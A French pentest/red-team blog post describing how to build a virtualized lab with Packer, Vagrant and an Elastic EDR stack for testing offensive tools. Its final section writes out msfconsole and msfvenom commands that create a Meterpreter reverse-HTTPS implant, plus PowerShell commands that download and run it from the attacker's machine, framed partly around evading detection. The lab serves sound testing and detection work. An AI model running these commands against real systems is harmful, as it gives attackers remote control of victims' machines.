Outils offensifs (pentest / redteam) : exemple de mise en place d'une infrastructure

GillesLe 21 décembre 2022

1. Introduction

Le monde offensif dans l'univers Microsoft nécessite d'être en possession d'un arsenal important d'outils pour accomplir les différentes tâches des opérateurs offensifs. De nombreuses vulnérabilités sont découvertes chaque semaine. Et pour chacune d'elles, des outils sortent pour en faciliter leurs exploitations. Afin de contrer toutes ces attaques, les équipes défensives mettent en place des solutions de sécurité pour corriger ou détecter ces dernières.

En tant qu'opérateurs offensifs et pentesteurs, il est donc nécessaire de tester ces outils disponibles publiquement ou de les élaborer en interne avant de les déployer sur les infrastructures des clients dans le but de réaliser des pentests ou des opérations Red Team.

Pour cela, dans un premier temps la lecture du code source permettra de comprendre le fonctionnement général de l'outil. Ensuite, les opérateurs testeront les outils dans un environnement de test avec des solutions de sécurité pour observer les différentes alertes qui remontent suite au déclenchement de ces outils. Avec ces alertes, les opérateurs seront en mesure d'apporter des modifications aux différents outils pour passer outre les solutions défensives.

Dans le cadre de ce blog, les éléments analysés se concentreront sur la partie endpoint avec les artefacts qui peuvent être laissés sur les postes utilisateurs et les serveurs. La partie réseau ne sera pas évoquée ici.

2. Présentation des briques technologiques

L’environnement de test est complètement virtualisé pour faciliter le déploiement sur les machines de chaque opérateur de l’équipe offensive. De plus, pour simplifier la mise en place de celui-ci, les solutions d’automatisation suivantes sont utilisées :

  • Packer
  • Vagrant
  • Docker
  • Elastic-container

L’enchaînement de ces technologies se fait dans l’ordre suivant :

Ordre des briques technologiques utilisées pour le déploiement d'outils de pentests / redteam

2.1 Packer

Packer outil de création de machines virtuelles

Dans un premier temps, Packer1 est utilisé pour créer des images de machines virtuelles préconfigurées. La création de ces images part d’un fichier au format ISO ; dans notre cas, une image Ubuntu Server 20.04 LTS2 ainsi qu’une image Windows 103. La référence précédente donne une astuce pour télécharger une image Windows 10 via le navigateur étant donné que seules les images Windows 11 sont disponibles aux téléchargements directement.

Ensuite des templates sont nécessaires pour la création des images. Les deux templates de bases sélectionnées sont disponibles sur GitHub et les profils VirtualBox sont ceux qui seront utilisés par la suite :

  • Template Ubuntu4
  • Windows Template5

Le template est au format JSON et d’autres fichiers viennent compléter l’installation avec différents scripts (.bat, .ps1, .sh, …) pour installer les éléments nécessaires au fonctionnement des machines dans le lab.

Le squelette d’un template Packer prend la forme suivante :

{
    "builders": [
            {...}
    ],
    "provisioners": [
            {...}
    ],
    "post-processors": [
            {...}
    ],
    "variables": {
            ...
    }
}

Le squelette ci-dessus est celui qui a été utilisé pour construire les 2 machines dans le cadre de ce projet, mais il peut prendre d’autre forme6 avec différentes clés. Chacune de ces clés à une fonction bien précise qui est :

  • builders7 : listes des éléments utilisés par la commande packer pour démarrer la construction de la VM.
  • provisioners8 : contient les éléments pour configurer la VM avec les commandes et les scripts à utiliser.
  • post-processors9 : définit les étapes réalisées après la fin de la création de la VM. Dans notre cas, création d’une image au format .box pour utiliser Vagrant.
  • variables10 : définit des variables utilisées à l’intérieur du template.

Par exemple, le script suivant a été utilisé pour installer docker sur l’image du serveur Ubuntu_Elastic :

#!/bin/bash -eu

echo "==> Docker installation"

apt-get -y install --no-install-recommends install ca-certificates curl  lsb-release

apt-get -y update
apt-get -y install --no-install-recommends gnupg

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

apt-get -y update
apt-get -y install --no-install-recommends docker-ce docker-ce-cli containerd.io  docker-compose docker-compose-plugin

sudo groupadd docker
sudo usermod -aG docker vagrant

sudo chown vagrant:vagrant /opt
cd /opt
git clone https://github.com/peasead/elastic-container

2.2 Vagrant

Vagrant outil de gestion de machines virtuelles

Après avoir généré les images avec packer, deux fichiers au format box sont disponibles. Ils sont faits pour fonctionner avec l’outil Vagrant11 qui permet de construire et gérer des machines virtuelles de manière automatisée.

De plus, l’utilisation du fichier Vagrantfile12, permet de lancer directement les machines virtuelles dans Virtual Box. Le fichier Vagrantfile se présente de la façon suivante :

Vagrant.configure("2") do |config|
    boxes = [
        { :name => "<Nom machine Linux>", :ip => "192.168.56.50", :box => "<Localisation du fichier .box>", :os => "linux",
            :forwarded_port => [
                {:guest => 22, :host => 2222, :id => "ssh"}
          ]
        },
        { :name => "<Nom machine Windows>", :ip => "192.168.56.10", :box => "<Localisation du fichier .box>", :os => "windows",
            :forwarded_port => [
                {:guest => 3389, :host => 33389, :id => "msrdp"},
                {:guest => 5985, :host => 55985, :id => "winrm"}
            ]
        }
    ]

    config.vm.provider "virtualbox" do |v|
        v.memory = 2048
        v.cpus = 1
    end

    config.vm.boot_timeout = 600
    config.vm.graceful_halt_timeout = 600
    config.winrm.retry_limit = 30
    config.winrm.retry_delay = 10

    boxes.each do |box|
        config.vm.define box[:name] do |target|
            target.vm.box = box[:box]
            if box.has_key?(:box_version)
                target.vm.box_version = box[:box_version]
            end

            target.vm.network :private_network, ip: box[:ip]

            if box.has_key?(:forwarded_port)
                box[:forwarded_port] do |forwarded_port|
                    target.vm.network :forwarded_port, guest: forwarded_port[:guest], host: forwarded_port[:host], id: forwarded_port[:id]

                end
            end
        end
    end
end

Les paramètres :name et :box lors de la définition de la variable boxes sont à modifier pour préciser le nom de la machine virtuelle ainsi que la localisation du fichier .box sur le poste.

2.3 Docker & elastic-container

Fonctionnement de docker avec elastic-container

Docker13 est une technologie qui permet de conteneuriser des services pour en faciliter le déploiement. De plus, chacun de ces conteneurs est autonome et peut gérer les dépendances de son côté. Un fichier Dockerfile14 permet de définir les caractéristiques d’un conteneur pour automatiser sa construction.

Docker-compose15 est une solution en plus qui permet de gérer plusieurs conteneurs en même temps. Le fichier docker-compose.yml définit les caractéristiques de chaque conteneur Docker qui sera utilisé. Dans notre cas, les conteneurs ElasticSearch, Kibana et Elastic-Agent seront mis en place.

Lors de la création de la VM UbuntuELK, le répertoire GitHub elastic-container16 a été ajouté via le script d’installation de docker. Ce projet permet d’automatiser la mise en place d’une plateforme Elastic Security17 avec des conteneurs qui utilisent la technologie Docker. L’utilisation de cette solution permet de mettre en place la solution rapidement et prend en charge la gestion des dépendances de chaque composante de la stack Elastic.

D’autre part, le projet elastic-container se charge de monter les différentes composantes pour avoir les options de sécurité. Cela permet d’utiliser facilement la solution d’EDR18 (Endpoint Detection and Response) qui est disponible gratuitement suite à l’acquisition de l’entreprise EndGame19 par Elastic en 2019.

3. Mise en place de l’infrastructure

L’objectif de cette partie est de mettre en place l’environnement suivant composé de deux machines virtuelles :

Mise en place de 2 machines virtuelles ubuntu et windows

3.1 Création des VMs

Une fois les templates pour packer obtenus pour les deux VMs, la génération peut commencer. La première machine sera la VM Ubuntu_Elastic qui peut être initiée avec la commande suivante :

PS> packer build ubuntu.json

Initialisation machines virtuelles ubuntu

Ensuite une commande identique est utilisée pour monter la VM Windows_10_Elastic. Cependant, si les mises à jour sont prises en compte dans le fichier de configuration JSON, la création peut prendre plus d’une heure :

PS> packer build windows10.json

Initialisation machines virtuelles ubuntu

Les deux machines peuvent maintenant être déployées avec **Vagrant**  et la commande suivante avec le fichier **Vagrantfile**  présent dans le même dossier :
PS> vagrant.exe up

Déploiement des machines virtuelles ubuntu et windows 10

3.2 Installation de la Suite Elastic

Pour l’installation de la stack Elastic, un article est sorti récemment expliquant simplement comment l’installer sur le site d’Elastic20. Toutes les indications sont données dans cet article. Récemment Ippsec a présenté une manière d’installer la suite Elastic sans passer par docker. La vidéo est disponible sur youtube.

4. Test d’outils offensifs

4.1 – Explication : C2 et Implant

Les solutions de Command and Control (C2) sont souvent utilisées dans le cadre d’opérations Red Team ou par des groupes d’attaquants21. Elles permettent de regrouper les différents postes compromis au sein d’une interface unique et d’interagir avec elles pour envoyer des commandes.

Le C2 est composé d’un serveur qui est le cœur de la solution. Il permet, dans la majorité des cas, de générer des implants/agents. Ce sont des programmes conçus pour discuter avec différents systèmes d’exploitation (Windows, Linux ou MacOS) afin de réaliser des actions plus ou moins malveillantes.

Les plus simples contiendront des commandes pour faire une énumération basique sur un système, par exemple, vérifier la présence ou non d’un Anti-Virus ou d’un EDR. Ils peuvent également être associés au fonctionnement d’un Reverse Shell.

Les plus avancés pourront embarquer des outils ou des commandes plus conséquents pour effectuer de l’élévation de privilèges ou des actions de post-exploitation sur un Active Directory.

Ces implants, une fois déployés sur les différentes cibles, communiquent au C2 via différents protocoles de communications : HTTP, HTTPS, DNS, etc. Les opérateurs pourront quant à eux lancer des commandes sur un ou plusieurs de ces implants via une interface reliée au serveur qui peut prendre différentes formes :

  • en ligne de commande,
  • via un client lourd,
  • via une interface web.

Le projet The C2 Matrix22 regroupe la plupart de ces solutions disponibles publiquement dans un google sheet23. À la date du 13 août 2022, il compte 103 solutions différentes. Parmi celles-ci, on retrouve des solutions payantes :

  • Cobalt Strike24 de HelpSystem (développé à l’origine par Raphael Mudge),
  • Brute Ratel (BRC4)25 de @NinjaParanoid26,
  • NightHawk27 de MDSec28.

Mais elle recense également les solutions gratuites comme :

  • Sliver[2]9 de @Moloch29,
  • Covenant30 de @Cobbr31,
  • Metasploit Framework32 de Rapid 733.

Pour chacune de ces solutions, l’implant peut porter un nom différent :

  • Beacon pour Cobalt Strike
  • Badger pour Brute Ratel
  • Implant pour NightHawk
  • Implant Beacon pour Sliver
  • Grunt pour Covenant
  • Meterpreter pour Metasploit Framework

Si ces implants subissent peu de modifications de là par des attaquants, leurs noms peuvent les trahir et ainsi permettre de détecter le C2 qui se cache derrière. Cela facilitera l’investigation pour les analystes et permettra de décortiquer plus en détail les différents mécanismes utilisés pour exploiter les postes des victimes. De plus, ils pourront retrouver l’infrastructure du C2 si celle-ci n’est pas bien cachée.

Cependant, certaines de ces solutions disposent de mécanismes d’obfuscation qui permettent aux opérateurs de modifier le code et le comportement par défaut de ces exécutables. Par exemple, Cobalt Strike dispose de la solution Artefact Kit34 qui permet la création de charges spécifiques pour de l’évasion d’Anti-Virus. Pour le trafic réseau, des profils Malleable C235 sont utilisés pour définir comment les communications vont se passer entre le beacon et le serveur de contrôle.

Pour ce projet, la solution Metasploit Framework sera utilisée avec un agent Meterpreter36. Cette solution est simple à mettre en place et dispose de nombreuses fonctionnalités. Cependant, il faut savoir qu’elle est connue par la majorité des solutions de sécurité. Il faudra investir un certain temps de recherche pour avoir des implants qui lèvent le moins d’alertes possibles. Cela n’empêche pas les groupes d’attaquants de l’utiliser comme le montre l’article récent de Cybereason37 avec l’acteur BumbleBee.

4.2 – Test de l’implant Meterpreter

L'instance Elastic est prête et l'agent Elastic remonte des infos sur l’état de la machine Windows_10_Elastic. Pour vérifier les capacités de détection de la solution, un implant Meterpreter va être déposé. L’infrastructure de test prend la forme suivante avec l’ajout de la machine de l’attaquant :

infrastructure de test implant meterpreter

Sur la machine de l'attaquant, msfconsole38 est lancé pour créer un handler qui recevra la connexion de l’implant Meterpreter :

Bash> msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.29; set LPORT 9001; set exitfunc thread; exploit -j"

msfconsole creation handler implant meterpreter

Ensuite, l'implant Meterpreter est généré avec msfvenom39 :

Bash> msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.29 LPORT=9001 EXITFUNC=thread -f exe -o test.exe

génération implant avec msfvenom

L’implant est téléchargé sur la machine Windows avec une commande PowerShell (iwr : Invoke-WebRequest)40 puis exécuté directement :

PS> iwr http://192.168.1.29/test.exe -OutFile test.exe
PS> .\test.exe

téléchargement implant avec commande powershell

L’exécution de l'implant sur la machine Windows crée une session qui est disponible sur le handler MSF :

ouverture de session via l'implant sur le handler MSF

<![endif]-->

Avec cette session sur la machine, un attaquant peut exécuter des commandes directement sur la machine. Lors d’un pentest, par exemple, nous pouvons rentrer dans une invite de commande avec la commande shell41 de Meterpreter, puis chercher les utilisateurs locaux avec la commande net user.

avec ces outils, un pentesteur peut exécuter des commandes shell

Cette commande est utilisée par les attaquants lors de la phase de découverte quand ils ont obtenu un accès sur la machine d’une victime. Cette action correspond à la sous-technique "T1087-001 Account Discovery : Local Account"42 de la matrice ATT&CK du MITRE.

Dans la partie alerte sur l'instance Elastic, nous sommes capables de voir les actions qui ont été réalisées depuis l'implant Meterpreter.

instance elastic et action realisees depuis implant meterpreter

Conclusion

Avec cette plateforme mise en place, il est maintenant possible de tester l'exécution d'outils offensifs et de voir certaines traces qui sont laissées sur le système. Cependant, il faut noter que l'agent installé sur la VM Windows n'a bénéficié d'aucune configuration supplémentaire. De plus, d'autres éléments peuvent être ajoutés à la Machine Virtuelle Windows pour augmenter les capacités de détection.

Des outils automatiques comme Sysmon43 avec une configuration comme sysmon-modular44 est proposée par Olaf Hartong45. L’utilisation d’autres solutions d’EDR peut également compléter ces informations. Dans le cadre de ce projet, l’automatisation a été fortement utilisée, mais des outils comme Process Hacker46 pour l’analyse des processus ou PE-Sieve47 et Moneta48 pour l’analyse de fichiers et processus à la recherche de contenus malveillants apportent des données complémentaires.

Les Events Tracing for Windows49 (ETW) sont une autre source d’artefacts à explorer pour voir les actions des exécutables sur la machine. Notamment, Event Tracing for Windows Threat Intelligence qui offre la capacité de voir la manipulation sur des éléments comme la mémoire, les processus, les threads ou bien les événements générés par les drivers. La dernière étape, pour aller plus loin, est de développer un EDR maison pour comprendre les mécanismes de détection cités plus haut et ainsi réussir à les contourner plus aisément. Comme l’exemple de mez050 avec son outil fennec51.


  1. https://www.packer.io/ 

  2. https://ubuntu.com/download/server#downloads 

  3. https://www.winhelponline.com/blog/windows-10-iso-direct-download-mct-useragent/#useragent 

  4. https://github.com/heizo/packer-ubuntu-20.04 

  5. https://github.com/StefanScherer/packer-windows 

  6. https://www.packer.io/docs/templates/legacy_json_templates 

  7. https://www.packer.io/docs/templates/legacy_json_templates/builders 

  8. https://www.packer.io/docs/templates/legacy_json_templates/provisioners 

  9. https://www.packer.io/docs/templates/legacy_json_templates/post-processors 

  10. https://www.packer.io/docs/templates/legacy_json_templates/user-variables 

  11. https://www.vagrantup.com/ 

  12. https://www.vagrantup.com/docs/vagrantfile 

  13. https://www.docker.com/why-docker/ 

  14. https://docs.docker.com/engine/reference/builder/ 

  15. https://docs.docker.com/compose/ 

  16. https://github.com/peasead/elastic-container 

  17. https://www.elastic.co/fr/security 

  18. https://www.elastic.co/fr/security/endpoint-security/ 

  19. https://www.elastic.co/fr/blog/endgame-joins-forces-with-elastic 

  20. https://www.elastic.co/fr/security-labs/the-elastic-container-project 

  21. https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/ 

  22. https://www.thec2matrix.com/ 

  23. https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0 

  24. https://www.cobaltstrike.com/ 

  25. https://bruteratel.com/ 

  26. https://twitter.com/NinjaParanoid 

  27. https://www.mdsec.co.uk/nighthawk/ 

  28. https://www.mdsec.co.uk/ 

  29. https://twitter.com/LittleJoeTables 

  30. https://github.com/cobbr/Covenant 

  31. https://twitter.com/cobbr_io 

  32. https://www.metasploit.com/ 

  33. https://www.rapid7.com/products/metasploit/ 

  34. https://download.cobaltstrike.com/help-artifact-kit 

  35. https://trial.cobaltstrike.com/help-malleable-c2 

  36. https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/ 

  37. https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control 

  38. https://www.offensive-security.com/metasploit-unleashed/msfconsole/ 

  39. https://www.offensive-security.com/metasploit-unleashed/msfvenom/ 

  40. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2 

  41. https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/#shell 

  42. https://attack.mitre.org/techniques/T1087/001/ 

  43. https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon 

  44. https://github.com/olafhartong/sysmon-modular 

  45. https://twitter.com/olafhartong 

  46. https://processhacker.sourceforge.io/ 

  47. https://github.com/hasherezade/pe-sieve 

  48. https://github.com/forrest-orr/moneta 

  49. https://pre.empt.dev/posts/maelstrom-etw-amsi/#Event_Tracing_for_Windows 

  50. https://twitter.com/mez0 

  51. https://mez0.cc/projects/fennec/ 

Vous avez activé l'option "Do Not Track" dans votre navigateur, nous respectons ce choix et ne suivons pas votre visite.